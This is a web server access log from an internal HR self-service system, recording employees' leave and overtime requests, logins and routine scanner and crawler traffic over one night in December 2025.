/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:20:24:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:20:24:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.71 - - [01/Dec/2025:20:24:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:24:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [01/Dec/2025:20:25:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6821598889057394 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:25:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6821598889057394 HTTP/1.1" 200 8456 192.168.11.71 - - [01/Dec/2025:20:25:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6821598889057394 HTTP/1.1" 200 10639 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6821598889057394" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:25:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6821598889057394 HTTP/1.1" 200 10639 192.168.11.71 - - [01/Dec/2025:20:25:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:25:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.71 - - [01/Dec/2025:20:26:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:26:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [01/Dec/2025:20:26:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6396776901149911 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:26:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6396776901149911 HTTP/1.1" 200 8456 192.168.11.71 - - [01/Dec/2025:20:26:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6396776901149911 HTTP/1.1" 200 10639 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6396776901149911" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:26:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6396776901149911 HTTP/1.1" 200 10639 192.168.11.71 - - [01/Dec/2025:20:27:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:27:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202 192.168.11.71 - - [01/Dec/2025:20:32:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:32:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [01/Dec/2025:20:46:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:46:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 192.168.11.71 - - [01/Dec/2025:20:46:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:46:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.11.71 - - [01/Dec/2025:20:46:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:46:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 192.168.11.71 - - [01/Dec/2025:20:46:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 17918 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:46:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 17918 192.168.11.71 - - [01/Dec/2025:20:46:37 +0800] "GET /eHR/upload/userfile/dff9ef02ae99ab8b48e7f5d5923774db.jpg?&openW=Y&rand=0.45285901249982763 HTTP/1.1" 200 924126 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:46:37 +0800] "GET /eHR/upload/userfile/dff9ef02ae99ab8b48e7f5d5923774db.jpg?&openW=Y&rand=0.45285901249982763 HTTP/1.1" 200 924126 192.168.11.71 - - [01/Dec/2025:20:46:37 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://hcp.maglayers.com.cn:8088/eHR/upload/userfile/dff9ef02ae99ab8b48e7f5d5923774db.jpg?&openW=Y&rand=0.45285901249982763" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:46:37 +0800] "GET /favicon.ico HTTP/1.1" 404 209 192.168.11.71 - - [01/Dec/2025:20:46:59 +0800] "GET /eHR/upload/userfile/dff9ef02ae99ab8b48e7f5d5923774db.jpg?&openW=Y&rand=0.49650382380763536 HTTP/1.1" 200 924126 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:46:59 +0800] "GET /eHR/upload/userfile/dff9ef02ae99ab8b48e7f5d5923774db.jpg?&openW=Y&rand=0.49650382380763536 HTTP/1.1" 200 924126 192.168.11.71 - - [01/Dec/2025:20:47:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:47:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.11.71 - - [01/Dec/2025:20:47:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 15924 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:47:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 15924 192.168.11.71 - - [01/Dec/2025:20:47:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 29204 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [01/Dec/2025:20:47:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 29204 192.168.11.81 - - [01/Dec/2025:20:56:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:20:56:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.81 - - [01/Dec/2025:20:56:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:20:56:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.81 - - [01/Dec/2025:20:56:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:20:56:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.81 - - [01/Dec/2025:20:56:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:20:56:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.81 - - [01/Dec/2025:20:56:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:20:56:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.81 - - [01/Dec/2025:20:56:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:20:56:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.81 - - [01/Dec/2025:20:56:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.913277493120418 HTTP/1.1" 200 8420 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:20:56:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.913277493120418 HTTP/1.1" 200 8420 192.168.11.81 - - [01/Dec/2025:20:56:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.913277493120418 HTTP/1.1" 200 11837 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.913277493120418" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:20:56:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.913277493120418 HTTP/1.1" 200 11837 192.168.11.81 - - [01/Dec/2025:20:56:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4258 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:20:56:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4258 100.64.0.1 - - [01/Dec/2025:21:24:23 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 "-" "-" 100.64.0.1 - - [01/Dec/2025:21:24:23 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 100.64.0.1 - - [01/Dec/2025:21:24:28 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [01/Dec/2025:21:24:28 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:21:29:00 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [01/Dec/2025:21:29:00 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:21:45:18 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; ModatScanner/1.2; +https://modat.io/)" 100.64.0.1 - - [01/Dec/2025:21:45:18 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:22:40:03 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:22:40:03 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [01/Dec/2025:23:42:11 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [01/Dec/2025:23:42:11 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:23:58:18 +0800] "GET /stacks HTTP/1.1" 404 204 "-" "-" 100.64.0.1 - - [01/Dec/2025:23:58:18 +0800] "GET /stacks HTTP/1.1" 404 204 100.64.0.1 - - [02/Dec/2025:00:00:56 +0800] "GET /stacks HTTP/1.1" 404 204 "-" "-" 100.64.0.1 - - [02/Dec/2025:00:00:56 +0800] "GET /stacks HTTP/1.1" 404 204 100.64.0.1 - - [02/Dec/2025:00:19:46 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [02/Dec/2025:00:19:46 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [02/Dec/2025:00:29:56 +0800] "GET /stacks HTTP/1.1" 404 204 "-" "-" 100.64.0.1 - - [02/Dec/2025:00:29:56 +0800] "GET /stacks HTTP/1.1" 404 204 100.64.0.1 - - [02/Dec/2025:00:38:58 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [02/Dec/2025:00:38:58 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [02/Dec/2025:00:49:46 +0800] "GET /stacks HTTP/1.1" 404 204 100.64.0.1 - - [02/Dec/2025:00:49:46 +0800] "GET /stacks HTTP/1.1" 404 204 "-" "-" 100.64.0.1 - - [02/Dec/2025:02:23:50 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 100.64.0.1 - - [02/Dec/2025:02:23:50 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 "-" "Go-http-client/1.1" 100.64.0.1 - - [02/Dec/2025:02:29:08 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [02/Dec/2025:02:29:08 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [02/Dec/2025:02:32:30 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 100.64.0.1 - - [02/Dec/2025:02:32:30 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 "-" "Go-http-client/1.1" 100.64.0.1 - - [02/Dec/2025:03:33:22 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 100.64.0.1 - - [02/Dec/2025:03:33:22 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 "-" "-" 100.64.0.1 - - [02/Dec/2025:03:33:26 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [02/Dec/2025:03:33:26 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:03:39:33 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 100.64.0.1 - - [02/Dec/2025:03:39:33 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 "-" "-" 100.64.0.1 - - [02/Dec/2025:03:39:37 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [02/Dec/2025:03:39:37 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:03:40:30 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [02/Dec/2025:03:40:30 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [02/Dec/2025:03:46:23 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [02/Dec/2025:03:46:23 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [02/Dec/2025:04:06:48 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:06:48 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:04:06:51 +0800] "GET /eHRTEST HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:06:51 +0800] "GET /eHRTEST HTTP/1.1" 301 242 100.64.0.1 - - [02/Dec/2025:04:06:53 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:06:53 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [02/Dec/2025:04:07:17 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:04:07:17 +0800] "\x16\x03\x01" 